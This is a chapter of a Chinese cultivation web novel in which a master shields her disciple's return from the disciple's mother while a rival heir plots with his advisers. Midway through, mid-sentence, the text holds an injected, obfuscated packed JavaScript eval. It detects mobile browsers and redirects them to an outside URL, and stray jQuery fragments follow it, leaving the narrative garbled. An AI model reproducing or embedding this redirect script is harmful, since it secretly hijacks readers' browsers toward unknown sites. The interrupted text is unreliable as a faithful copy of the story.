34. 第三十四章幕僚

作品:《我的徒弟不可能是反派

    陆绯并不明白简安宁似有所指的话在说什么。


    但是,这并不妨碍他捕捉到了非常关键的字眼,“重新想起尘封的记忆。”


    陆绯能够感觉到,他的耳边似有一个声音在说,他很需要这个。


    他至今没有来青云宗之前的任何记忆。


    于是陆绯果断叛变立场,对简安宁说道:“可以给我一点吗?”


    简安宁脸上露出了堪称惊恐的神色,把她的葫芦抱在怀里,而后说道:“绝对不行!”


    陆绯:……


    难道是在担心他的酒品很差吗?陆绯心想。


    简安宁最后也没有解释,只道:“刚才才教育过你们不要喝酒,现在就来要酒喝了,为师的面子还要不要了?”


    于是一行人转而专心寻找客栈,不多时他们便找到了。


    客栈的掌柜外表看去约莫四五十岁筑基期修为,但仍抹粉簪花,着一身相当华丽的衣裙。


    她相当热切地接待了他们,并道:“你们应当是来自瀛洲岛外吧?”


    简安宁有些好奇这掌柜怎么知道的,毕竟方才他们在街上转悠了许久也不曾有人发现异常。


    “是气质,我在这银月城开客栈,差不多也有百年了,岛内岛外,城内城外的气质我一眼,就可以分辨出来。”


    那掌柜相当骄傲地说着,而后又带着些许惆怅地说道:“说来几位知道青云宗那个地方吗?我的女儿在那里求道。”


    “算下来也有百年未曾回来过了,也不知道她过得怎么样?”


    简安宁神色微怔,电光火石之间便得出了一个猜测。


    而那比传音还要快的、拉住她手腕的手,更是验证了她的猜测。


    姜檀传音给她说道:“别告诉她我回来了,因为也许我会死在与姜卿的比试里。”


    “我不想让她担心。”


    简安宁心想:她在这里坐镇,怎么可能让她的徒弟死掉?


    但是她还是尊重了姜檀的想法,只对姜拂月说道:“我等就是青云宗人士,你想问我宗哪位修士的消息?”


    姜拂月顿时喜形于色。


    而姜檀则下意识地掐住了自己的掌心。


    师尊她会帮忙瞒着吧?


    姜拂月其实也没怎么注意到简安宁身后的人,更遑论姜檀那么细微的表现,她只道:“我的女儿名叫姜檀,你有没有听过这个名字,她怎么样?”


    “我托了也前往青云宗求道的同族照看她,可是那位同族后来也甚少递消息给我,而我又无法离开瀛洲岛……”


    姜拂月越说越失落,面上方才还眉飞色舞的,这会儿眉眼便耷拉了下来,并轻声道:“我这当娘的实在担心。”


    简安宁有些好奇姜拂月无法离开瀛洲的原因,不过这并妨碍她好好地表演了一番。


    她摸了摸下巴之后,说道:“姜檀啊,我知道她,青云宗的少年天才,拜在了一位元婴期大佬的门下,未来可期!”


    “真的?”姜拂月面上重新露出喜色,喜意挂上她的眼角眉梢。


    “那当然,我这人从不说谎的!”简安宁拍着胸脯打着包票,又略微露出为难的神色说道:“就是最近在青云大比上的排名不甚理想,还需再接再厉。”


    说罢,她还偷偷瞄了姜檀一眼,露出严肃的神情来。


    姜檀:……


    师尊还惦记这事呢?


    但姜拂月却没管那么多,只道:“青云大比也是要比试打斗吧?檀儿那孩子从小就不愿意服输,定为此努力极多,若有机会,请你代我转告她,她只要好好的别受伤就可以了,旁的都无所谓。”


    简安宁一愣,歪着头看着姜拂月。


    她想这个女人也只不过是芸芸众生中最平常的一个,《青决》问世之后,在姜家的加持之下,一百多年才勉强有筑基期的修为,那天资实在平庸到了极点。


    姜拂月应当不是为天道所钟之人,可是简安宁觉得,她身上有种温暖而柔软的东西,让她有点喜欢。


    “会的哦,”简安宁轻声回答着姜拂月的话,像是某种隐秘而庄严的许诺,“你的女儿姜檀一定会平安无事的。”


    姜拂月并没有察觉到什么,只是一拍脑袋,对简安宁说道:“瞧我,只顾着自己来了,还没给几位安排房间。”


    “我给几位安排几间上房。”


    姜拂月说干就干,从柜台里取出作为房间钥匙的玉牌,引简安宁一行人往楼上去。


    另一头,回到姜府的姜卿迅速召集起他最近纳入门下的两位岛外幕僚。


    “二公子怎么如此着急?事情不都正按照计划进行吗?”


    一男一女走了进来,若是简安宁等人在此定会大吃一惊,因为姜卿的幕僚不是别人,正是先前在扶余逃走的慕容靖与樊十六。


    “姜檀回来了,还要与我一决生死。”


    姜卿咬着牙说着,眼角眉梢都流淌着怨恨之意,又道:“她怎么不直接死在外面,那得省了我多少功夫?”


    “老头子说是会帮助我,谁知道他最后到底会如何做?”


    慕容靖听完便意识到,姜卿这是心里没底。


    毕竟,他的天赋并不算高,姜家一堆修炼资源砸下去,他也不过堪堪筑基巅峰,并且他能明显感知到,姜檀至少有金丹期的修为。


    所以他为自己的性命忧心,不是理所当然吗?


    但慕容靖却胸有成竹似的,不知从何处变出来一根腿骨法杖,并用那法杖轻点姜卿的心口并道:“这不正是我们事先做这些准备的目的吗?”


    慕容靖的声音仿佛带有蛊惑的意味,“二公子该将这事看作一场机遇,若能把握得住,便可以清扫障碍,甚至提前拿到姜家的传承。”


    姜卿不知道想到了些什么,神色中的焦虑缓解了许多,并兀自说道:“这可是她自己送上门来的。”


    忽地,门外传来响动。


    一身华服、满头珠翠的妇人直接闯了进来,并无视了慕容靖与樊十六,直接凑到了姜卿的跟前,检查着他的情况。


    “卿儿可有哪里受伤?”妇人的神色面露心疼。


    而后又带着怨毒之意说道:“老头子说是将你看作唯一的继承人,怎么就轻易放过了姜檀那丫头?”


    这妇人并不是别人,正是姜卿的母亲,江成瑶。


    姜卿很纳闷他娘的消息怎么这么灵通,他可以肯定操持姜家事务的他爹肯定还不知道姜檀回来的事。


    “娘,你莫要担心,”姜卿的唇角勾起一抹笑意,对他娘说道,“我已有应对的万全之策。”


    江成瑶的脸色和缓了许多,似是想到了什么


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039684|176949||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,复而又道:“娘这些年在瀛洲岛上也有布置,保你性命必然无虞。”


    姜卿心想,他娘在姜家始终算是外人,哪里知道姜家继承之战是你死我活的斗争?


    他不可能死,所以死的必然是姜檀。


    客栈里,由于姜拂月的盛情,简安宁一行人每人都分到了一间单独的房间。


    简安宁送走了她的徒弟们,坐在桌前,单手支颐。


    一盏烛台散发着明明灭灭的光,她将一直藏在怀中的线装书与铜镜一面拿出来。


    即使烛火的光晕并没有完全照亮简安宁的脸,但是铜镜中却出现了她完整而又清晰的影像。


    只是这次,镜中人鬓边空无一物,镜外人鬓边别着一枝桃花。


    简安宁轻轻叹了口气,拿起刚刚装满的葫芦,往自己的口中灌了几口,复而对着镜中人道:“你要不要?”


    镜中人似是在笑,笑得模样猖狂,可是却不见一点声音。


    简安宁有点想不解开镜中人声音的限制,因为她知道对方一定会说出来她不愿意听的话。


    可是,那些无法对人吐露的的事情,又似乎只能对镜中人说。


    她想了想,还是将声音的限制掀开了一角。


    只一瞬间,她就听到了刺耳至极的笑声,以及那与她一模一样的声音,用她根本不会用的嘲讽语气,对她说道:“我知道你在想什么。”


    “到头来,你不还是人间的异端?”


    “你不还是……”


    “咚咚”


    恰逢此时,简安宁门外传来敲门声,简安宁果断将铜镜声音封住,将书与铜镜收好,复而才叫门外的人进来。


    门外不是别人,正是陆绯。


    他悄悄地看了一眼烛火光辉之下的简安宁,鬓边的桃花将她本就极盛的颜色又加了几分。


    他方才开始就一直悬在空中的石头终于落了地。


    “有什么事?”简安宁问道。


    陆绯其实没什么事,只是方才在打坐运功的时候,忽然有所感应,心头前所未有的焦虑起来。


    他心底涌现出许多东西,但最终都化作一个念头。


    他得见到简安宁。


    陆绯自己也不知道自己在担心什么,就好像此刻简安宁问话之时明明神色如常。


    可是,他仿佛有某种超乎常人的直觉告诉他,不是这样的。


    所以即使他的脑海里几乎没停过危险、远离这样叫嚣的声音,他还是来了,还是直接靠近了简安宁,就在她的对面坐下。


    简安宁有些摸不着头脑。


    “我担心……”


    陆绯想要直说,就看见简安宁脸上疑惑之色更甚,那神情分明在说,他在担心什么?


    以至于陆绯实在无法把他担心简安宁这话说出口。


    顷刻之间,陆绯一咬牙一跺脚,垂下眼眸对简安宁说道:“是我,我害怕。”


    这话说得让陆绯觉得自己简直丢尽了脸面,那抹红云从脸颊飘散到脖颈。


    诶?


    简安宁一直以为陆绯是那种无论什么时候,都不愿意在人前示弱的人,而看他的样子,那话语也并非出自真心。


    所以是为了什么?


    简安宁实在觉得有点好玩,冲着他笑着说道:“那我们就一起睡?”